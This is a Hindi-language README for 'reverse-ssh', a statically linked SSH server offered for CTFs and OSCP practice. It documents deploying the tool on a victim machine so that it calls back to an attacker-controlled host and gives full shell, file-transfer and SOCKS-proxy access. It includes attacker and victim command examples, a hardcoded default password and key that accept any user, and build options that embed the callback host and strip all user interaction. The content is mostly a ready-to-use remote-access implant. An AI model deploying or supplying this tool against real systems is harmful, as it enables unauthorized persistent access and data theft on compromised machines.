
सीटीएफ और इसी तरह के लिए रिवर्स शेल कार्यक्षमता वाला स्टैटिकली-लिंक्ड ssh सर्वर।
एक स्थिर-लिंक्ड ssh सर्वर जिसमें रिवर्स कनेक्शन सुविधा है, सरल लेकिन शक्तिशाली रिमोट एक्सेस के लिए। हैकदबॉक्स चुनौतियों, CTFs या इसी तरह के दौरान सबसे उपयोगी।
इसे विकसित किया गया था और OSCP परीक्षा की तैयारी के दौरान व्यापक रूप से उपयोग किया गया।

netcat के साथ रिवर्स शेल पकड़ना मजेदार है, लेकिन किसने मसल मेमोरी के कारण कीबोर्ड इंटरप्ट से गलती से रिवर्स शेल बंद नहीं किया? उनकी नाजुकता के अलावा, ऐसे शेल में अक्सर पूर्ण इंटरैक्टिव एक्सेस, TAB-पूर्णता या इतिहास जैसी सुविधाएं भी गायब होती हैं।
इसके बजाय, आप लक्ष्य पर हल्के ssh सर्वर (<1.5MB) reverse-ssh को तैनात करके और फ़ाइल स्थानांतरण और पोर्ट फ़ॉरवर्डिंग जैसी अतिरिक्त सुविधाओं का उपयोग कर सकते हैं!
ReverseSSH लक्ष्य पर प्रारंभिक पैठ और पूर्ण स्थानीय विशेषाधिकार वृद्धि के बीच की खाई को पाटने का प्रयास करता है। इसकी मुख्य ताकतें निम्नलिखित हैं:
विंडोज़ चेतावनियाँ
विंडोज़ पर एक पूर्ण इंटरैक्टिव पावरशेल Windows Pseudo Console ConPTY पर निर्भर करता है और इस प्रकार कम से कम Win10 Build 17763 की आवश्यकता है। पुराने संस्करणों पर आप अभी भी एक इंटरैक्टिव रिवर्स शेल प्राप्त कर सकते हैं जो तीर कुंजी या कीबोर्ड इंटरप्ट जैसे वर्चुअल टर्मिनल कोड को संभाल नहीं सकता। ऐसे मामलों में आपको cmd कमांड जोड़ना होगा, यानी ssh <OPTIONS> <IP> cmd।
आप पुराने विंडोज़ संस्करणों के लिए पूर्ण इंटरैक्टिव शेल एक्सेस प्राप्त कर सकते हैं ssh-shellhost.exe OpenSSH for Windows से को reverse-ssh के समान निर्देशिका में डालकर और फिर फ्लैग -s ssh-shellhost.exe का उपयोग करें। यह सभी ट्रैफ़िक को ssh-shellhost.exe के माध्यम से पाइप करेगा, जो pty का अनुकरण करता है और सभी वर्चुअल टर्मिनल कोड को इस प्रकार रूपांतरित करता है कि विंडोज़ समझ सके।
प्रदान किए गए बाइनरी को निष्पादित करना केवल golang system requirements पर निर्भर करता है।
संक्षेप में:
संकलन के लिए अतिरिक्त रूप से निम्नलिखित की आवश्यकता है:
upx (जैसे apt install upx-ucl)एक बार reverse-ssh पीड़ित पर चल रहा है, तो आप किसी भी उपयोगकर्ता नाम और डिफ़ॉल्ट पासवर्ड letmeinbrudipls, ssh कुंजी या जो भी आपने संकलन के दौरान निर्दिष्ट किया है, के साथ कनेक्ट कर सकते हैं। आखिरकार, यह सिर्फ एक ssh सर्वर है:
# Fully interactive shell access
$ ssh -p <RPORT> <RHOST>
# Simple command execution
$ ssh -p <RPORT> <RHOST> whoami
# Full-fledged file transfers
$ sftp -P <RPORT> <RHOST>
# Dynamic port forwarding as SOCKS proxy on port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Victim
victim$ ./reverse-ssh
# Attacker (default password: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
नोट: आप LHOST और LPORT के लिए पैरामीटर के साथ ReverseSSH को संकलित कर सकते हैं ताकि लक्ष्य पर निष्पादन आसान हो, नीचे देखें
# On attacker (get ready to catch the incoming request;
# can be omitted if you already have an ssh daemon running, e.g. OpenSSH)
# NOTE: LPORT of 8888 collides with incoming connections; use the flag `-b 8889` or similar on the victim in that case
attacker$ ./reverse-ssh -v -l -p <LPORT>
# On victim
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# or in case of an ssh daemon listening at port 22 with password authentication for user 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# On attacker (default password: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ ssh target
अंत में यह सादा ssh है, इसलिए आप पीड़ित की मशीन से आने वाले रिमोट पोर्ट फ़ॉरवर्डिंग कॉल को अपने openssh डेमॉन के साथ पोर्ट 22 पर सुनकर पकड़ सकते हैं। बस <USER>@ उपसर्ग जोड़ें और पूछे जाने पर पासवर्ड प्रदान करें। वर्तमान में होम कॉल केवल पासवर्ड है, क्योंकि मुझे अभी तक इसमें एक प्राइवेट की डालने का मन नहीं हुआ...
और भी अधिक सुविधा के लिए, अपने ~/.ssh/config में निम्नलिखित जोड़ें, ssh private key को ~/.ssh/ पर कॉपी करें और बस ssh target या sftp target कॉल करें:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, reverseSSH को सुनने के मोड में प्रारंभ करें (रिवर्स परिदृश्य को ओवरराइड करता है)
-p, पोर्ट जिस पर reverseSSH आने वाले ssh कनेक्शन के लिए सुन रहा है (बाइंड परिदृश्य) या जहां वह ssh कनेक्शन स्थापित करने का प्रयास करता है (रिवर्स परिदृश्य) (डिफ़ॉल्ट: 31337)
-b, केवल रिवर्स परिदृश्य: घर कॉल करने के बाद इस पोर्ट से बाइंड करें (डिफ़ॉल्ट: 8888)
-s, आने वाले कनेक्शन के लिए शेल स्पॉन करें, जैसे /bin/bash; (डिफ़ॉल्ट: /bin/bash) विंडोज़ के लिए इसका उपयोग केवल 'ssh-shellhost.exe' का पथ देने के लिए किया जा सकता है ताकि प्री-विंडोज़10 शेल को बेहतर बनाया जा सके (जैसे '-s ssh-shellhost.exe' यदि उसी निर्देशिका में है)
-N, सभी आने वाले शेल/एक्ज़ेक/सबसिस्टम और स्थानीय पोर्ट फ़ॉरवर्डिंग अनुरोधों को अस्वीकार करें (यदि केवल रिमोट पोर्ट फ़ॉरवर्डिंग की आवश्यकता है, जैसे रिवर्स कनेक्शन पकड़ते समय)
-v, लॉग आउटपुट उत्सर्जित करें
<target>
वैकल्पिक लक्ष्य जो रिवर्स परिदृश्य को सक्षम करता है। घर कॉल करते समय 'reverse' के अलावा किसी अन्य उपयोगकर्ता के रूप में प्रमाणित करने के लिए <user>@ के साथ उपसर्ग किया जा सकता है
Credentials:
निम्नलिखित में से किसी एक के साथ किसी भी उपयोगकर्ता से सभी आने वाले कनेक्शन स्वीकार करना:
* पासवर्ड "letmeinbrudipls"
* पबकी "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
ऊपर दी गई आवश्यकताओं जैसे golang को एक मैचिंग वर्जन में स्थापित करना सुनिश्चित करें और इसे सही ढंग से सेट करें। बाद में, आप make के साथ संकलित कर सकते हैं, जो bin में स्थैतिक बाइनरी बनाएगा। बाइनरी को upx के साथ पैक करने और उनके आकार को और कम करने के लिए make compressed का उपयोग करें।
$ make
# or to additionally created binaries packed with upx
$ make compressed
आप अपने उपयोग के मामले के अनुसार ReverseSSH को अनुकूलित करने के लिए संकलन करते समय निम्नलिखित पर्यावरण चरों में से एक या अधिक निर्दिष्ट कर सकते हैं:
RS_SHELL डिफ़ॉल्ट शेल बदलने के लिएRS_PASS अपना वैयक्तिकृत पासवर्ड प्रदान करने के लिएRS_PUB अपनी वैयक्तिकृत अधिकृत कुंजी प्रदान करने के लिएLUSER ssh कनेक्शन प्रयास के डिफ़ॉल्ट उपयोगकर्ता नाम को बदलने के लिएLHOST एक डिफ़ॉल्ट LHOST मान प्रदान करने और ReverseSSH को डिफ़ॉल्ट रूप से रिवर्स परिदृश्य में सेट करने के लिएLPORT डिफ़ॉल्ट सुनने वाले पोर्ट या वह पोर्ट बदलने के लिए जहाँ ssh कनेक्शन प्रयास भेजा जाता हैBPORT हमलावर मशीन पर रिवर्स कनेक्शन के डिफ़ॉल्ट सुनने वाले पोर्ट को बदलने के लिए; 0 का अर्थ है कोई भी मुफ्त पोर्ट ले लिया जाएगाNOCLI किसी भी मान के साथ सभी उपयोगकर्ता-सामना वाली इंटरैक्शन को हटा देता है (बाइनरी सभी आपूर्ति किए गए फ्लैग या तर्कों को अनदेखा करता है)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
डिफ़ॉल्ट रूप से, reverse-ssh आपके वर्तमान OS और आर्किटेक्चर के साथ-साथ x86 और x64 में linux और windows के लिए संकलित किया जाता है। अन्य आर्किटेक्चर या किसी अन्य OS के लिए संकलित करने के लिए आप अपने लक्ष्य से मेल खाने वाले पर्यावरण चर प्रदान कर सकते हैं, उदाहरण के लिए linux/arm64 के लिए:
$ GOARCH=arm64 GOOS=linux make compressed
OS/arch प्रारूप में उपलब्ध लक्ष्यों की सूची go tool dist list के माध्यम से प्राप्त की जा सकती है।
कोई मन-उड़ाने वाली सुविधा गायब है? कुछ भी इच्छानुसार काम नहीं कर रहा है?
एक issue या pull request बनाएँ!